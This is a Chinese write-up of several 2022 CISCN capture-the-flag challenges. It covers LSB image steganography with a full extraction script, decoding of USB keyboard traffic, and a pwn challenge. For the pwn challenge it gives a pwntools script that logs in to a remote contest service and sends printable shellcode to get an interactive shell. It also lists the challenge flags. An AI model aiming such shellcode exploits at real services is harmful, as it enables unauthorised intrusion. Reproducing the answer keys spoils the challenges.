2022CISCN部分wp misc pwn

1.everlasting_night

图片末尾iend后有数据fb3efce4ceac2f5445c7ae17e3e969ab
somd5 https://www.somd5.com/解密获得ohhWh04m1
alpha2通道的的右下角找到

得到f78dcd383f1b574b lsb密码
python lsb.py extract everlasting_night.png 1.txt f78dcd383f1b574b

lsb.py
“””
import sys
import struct
import numpy
import matplotlib.pyplot as plt

from PIL import Image

from crypt import AESCipher

#Decompose a binary file into an array of bits
def decompose(data):
v = []

# Pack file len in 4 bytes
fSize = len(data)
bytes = [ord(b) for b in struct.pack("i", fSize)]

bytes += [ord(b) for b in data]

for b in bytes:
	for i in range(7, -1, -1):
		v.append((b >> i) & 0x1)

return v

#Assemble an array of bits into a binary file
def assemble(v):
bytes = “”

length = len(v)
for idx in range(0, len(v)/8):
	byte = 0
	for i in range(0, 8):
		if (idx*8+i < length):
			byte = (byte<<1) + v[idx*8+i]                
	bytes = bytes + chr(byte)

payload_size = struct.unpack("i", bytes[:4])[0]

return bytes[4: payload_size + 4]

#Set the i-th bit of v to x
def set_bit(n, i, x):
mask = 1 << i
n &= ~mask
if x:
n |= mask
return n

#Embed payload file into LSB bits of an image
def embed(imgFile, payload, password):
# Process source image
img = Image.open(imgFile)
(width, height) = img.size
conv = img.convert(“RGBA”).getdata()
print “[] Input image size: %dx%d pixels." % (width, height)
max_size = widthheight3.0/8/1024 # max payload size
print "[] Usable payload size: %.2f KB.” % (max_size)

f = open(payload, "rb")
data = f.read()
f.close()
print "[+] Payload size: %.3f KB " % (len(data)/1024.0)
	
# Encypt
cipher = AESCipher(password)
data_enc = cipher.encrypt(data)

# Process data from payload file
v = decompose(data_enc)

# Add until multiple of 3
while(len(v)%3):
	v.append(0)

payload_size = len(v)/8/1024.0
print "[+] Encrypted payload size: %.3f KB " % (payload_size)
if (payload_size > max_size - 4):
	print "[-] Cannot embed. File too large"
	sys.exit()
	
# Create output image
steg_img = Image.new('RGBA',(width, height))
data_img = steg_img.getdata()

idx = 0

for h in range(height):
	for w in range(width):
		(r, g, b, a) = conv.getpixel((w, h))
		if idx < len(v):
			r = set_bit(r, 0, v[idx])
			g = set_bit(g, 0, v[idx+1])
			b = set_bit(b, 0, v[idx+2])
		data_img.putpixel((w,h), (r, g, b, a))
		idx = idx + 3

steg_img.save(imgFile + "-stego.png", "PNG")

print "[+] %s embedded successfully!" % payload

#Extract data embedded into LSB of the input file
def extract(in_file, out_file, password):
# Process source image
img = Image.open(in_file)
(width, height) = img.size
conv = img.convert(“RGBA”).getdata()
print “[+] Image size: %dx%d pixels.” % (width, height)

# Extract LSBs
v = []
for h in range(height):
	for w in range(width):
		(r, g, b, a) = conv.getpixel((w, h))
		v.append(r & 1)
		v.append(g & 1)
		v.append(b & 1)
		
data_out = assemble(v)

# Decrypt
cipher = AESCipher(password)
data_dec = cipher.decrypt(data_out)

# Write decrypted data
out_f = open(out_file, "wb")
out_f.write(data_dec)
out_f.close()

print "[+] Written extracted data to %s." % out_file

#Statistical analysis of an image to detect LSB steganography
def analyse(in_file):
‘’’
- Split the image into blocks.
- Compute the average value of the LSBs for each block.
- The plot of the averages should be around 0.5 for zones that contain
hidden encrypted messages (random data).
‘’’
BS = 100 # Block size
img = Image.open(in_file)
(width, height) = img.size
print “[+] Image size: %dx%d pixels.” % (width, height)
conv = img.convert(“RGBA”).getdata()

# Extract LSBs
vr = []	# Red LSBs
vg = []	# Green LSBs
vb = []	# LSBs
for h in range(height):
	for w in range(width):
		(r, g, b, a) = conv.getpixel((w, h))
		vr.append(r & 1)
		vg.append(g & 1)
		vb.append(b & 1)

# Average colours' LSB per each block
avgR = []
avgG = []
avgB = []
for i in range(0, len(vr), BS):
	avgR.append(numpy.mean(vr[i:i + BS]))
	avgG.append(numpy.mean(vg[i:i + BS]))
	avgB.append(numpy.mean(vb[i:i + BS]))

# Nice plot 
numBlocks = len(avgR)
blocks = [i for i in range(0, numBlocks)]
plt.axis([0, len(avgR), 0, 1])
plt.ylabel('Average LSB per block')
plt.xlabel('Block number')

#plt.plot(blocks, avgR, ‘r.’)
#plt.plot(blocks, avgG, ‘g’)
plt.plot(blocks, avgB, ‘bo’)

plt.show()

def usage(progName):
print “LSB steganogprahy. Hide files within least significant bits of images.n”
print “Usage:”
print " %s hide " % progName
print " %s extract " % progName
print " %s analyse " % progName
sys.exit()

if name == “main”:
if len(sys.argv) < 3:
usage(sys.argv[0])

if sys.argv[1] == "hide":		
	embed(sys.argv[2], sys.argv[3], sys.argv[4])
elif sys.argv[1] == "extract":
	extract(sys.argv[2], sys.argv[3], sys.argv[4])
elif sys.argv[1] == "analyse":
	analyse(sys.argv[2])
else:
	print "[-] Invalid operation specified"

“””
导出文件为加密压缩包
用ohhWh04m1作为密码解压
解压出的文件使用gimp查看

flag{607f41da-e849-4c0b-8867-1b3c74536cc4}

2.Ez_usb
流量分析常规操作wireshark打开
这题为基本的键盘usb流量特征
新增考点为多个设备
容易筛选出不同source为2.10.1和2.8.1
分别将两个设备的HID Data数据导出

第一组关键键盘流量信息
“20”,
“22”,
“06”,
“22”,
“20”,
“22”,
“24”,
“23”,
“22”,
“08”,
“22”,
“27”,
“27”,
“24”,
“21”,
“04”
USB流量常用表：
normalKeys = {“04”:“a”, “05”:“b”, “06”:“c”, “07”:“d”, “08”:“e”, “09”:“f”, “0a”:“g”, “0b”:“h”, “0c”:“i”, “0d”:“j”, “0e”:“k”, “0f”:“l”, “10”:“m”, “11”:“n”, “12”:“o”, “13”:“p”, “14”:“q”, “15”:“r”, “16”:“s”, “17”:“t”, “18”:“u”, “19”:“v”, “1a”:“w”, “1b”:“x”, “1c”:“y”, “1d”:“z”,“1e”:“1”, “1f”:“2”, “20”:“3”, “21”:“4”, “22”:“5”, “23”:“6”,“24”:“7”,“25”:“8”,“26”:“9”,“27”:“0”,“28”:“”,“29”:“”,“2a”:“”, “2b”:" “,“2c”:”“,“2d”:”-“,“2e”:”=“,“2f”:”[“,“30”:”]“,“31”:”“,“32”:”“,“33”:”;“,“34”:”'“,“35”:”“,“36”:”,“,“37”:”.“,“38”:”/“,“39”:”“,“3a”:”“,“3b”:”“, “3c”:”“,“3d”:”“,“3e”:”“,“3f”:”“,“40”:”“,“41”:”“,“42”:”“,“43”:”“,“44”:”“,“45”:”“}
shiftKeys = {“04”:“A”, “05”:“B”, “06”:“C”, “07”:“D”, “08”:“E”, “09”:“F”, “0a”:“G”, “0b”:“H”, “0c”:“I”, “0d”:“J”, “0e”:“K”, “0f”:“L”, “10”:“M”, “11”:“N”, “12”:“O”, “13”:“P”, “14”:“Q”, “15”:“R”, “16”:“S”, “17”:“T”, “18”:“U”, “19”:“V”, “1a”:“W”, “1b”:“X”, “1c”:“Y”, “1d”:“Z”,“1e”:”!“, “1f”:”@“, “20”:”#“, “21”:”$“, “22”:”%“, “23”:”^“,“24”:”&“,“25”:”*“,“26”:”(“,“27”:”)“,“28”:”“,“29”:”“,“2a”:”“, “2b”:” “,“2c”:”“,“2d”:”_“,“2e”:”+“,“2f”:”{“,“30”:”}“,“31”:”|“,“32”:”“,“33”:”“”,“34”:“:”,“35”:“”,“36”:“<”,“37”:“>”,“38”:“?”,“39”:“”,“3a”:“”,“3b”:“”, “3c”:“”,“3d”:“”,“3e”:“”,“3f”:“”,“40”:“”,“41”:“”,“42”:“”,“43”:“”,“44”:“”,“45”:“”}
来自http://www.usb.org/developers/hidpage/Hut1_12v2.pdf找到键盘对照表

对应键盘表可以得到35c535765e50074a

第二组关键键盘流量信息

同理加上rar头部526172211a07cf90得到
526172211a07cf90730dc45274249435302a02b9f9b0530778b5541d330820666c61672e747874b9ba013242f3afc0b092c229d6e994167c05a78708b271ffc042ae3d251e65536f9ada87c77406b67d0e6316684766a86e844dc81aa2c72c71348d10c4c

使用35c535765e574a解压rar
flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}

3.Login nomal

先传参登入ro0t 使unk_202028=1 shellcode可用
传入可打印shellcode
from pwn import *
ip = “101.201.144.12”
port = 43129
sh = remote(ip, port)
sh.recvuntil(“>>>”)
sh.sendline(‘opt:1rnmsg:ro0trn’)
shellcode = ‘’’
Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
‘’’
sh.recvuntil(“>>>”)
sh.sendline(‘opt:2rnmsg:’+shellcode+‘rn’)
sh.interactive()

2022CISCN部分wp misc pwn

Python相关栏目本月热门文章